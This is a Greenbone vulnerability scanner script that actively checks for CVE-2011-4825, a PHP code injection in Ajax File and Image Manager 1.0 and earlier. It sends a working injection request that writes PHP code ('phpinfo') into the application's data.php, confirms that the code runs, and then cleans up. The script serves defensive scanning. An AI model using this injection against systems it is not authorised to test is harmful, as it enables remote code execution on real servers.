Ajax File and Image Manager <= 1.0 Code Injection Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103334");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-11-07 07:36:01 +0100 (Mon, 07 Nov 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2011-4825");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Ajax File and Image Manager <= 1.0 Code Injection Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Ajax File and Image Manager is prone to a remote PHP code
  injection vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple HTTP requests and checks the responses.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute
  arbitrary PHP code in the context of the affected application. This may facilitate a compromise
  of the application and the underlying system. Other attacks are also possible.");

  script_tag(name:"affected", value:"Ajax File and Image Manager version 1.0 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50523");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port:port))
  exit(0);

host = http_host_name(port: port);

ex = "bla=1&blub=2&foo=<?php phpinfo(); ?>";

foreach dir (make_list_unique("/fm", "/file", "/filemanager", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  filename = dir + "/ajaxfilemanager/ajax_create_folder.php";

  req = string("POST ", filename, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "Accept-Encoding: identity\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n",
               "Content-Length: ", strlen(ex),
               "\r\n\r\n",
               ex);

  result = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);

  if (result =~ "^HTTP/1\.[01] 200") {
    url = dir + "/ajaxfilemanager/inc/data.php";
    req = http_get(item: url, port: port);

    result = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);

    if ("<title>phpinfo()" >< result) {
      # clean the data.php on success by sending empty POST...
      ex = "";

      req = string("POST ", filename, " HTTP/1.1\r\n",
                   "Host: ", host, "\r\n",
                   "Accept-Encoding: identity\r\n",
                   "Content-Type: application/x-www-form-urlencoded\r\n",
                   "Content-Length: ", strlen(ex),
                   "\r\n\r\n",
                   ex);
      result = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);

      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);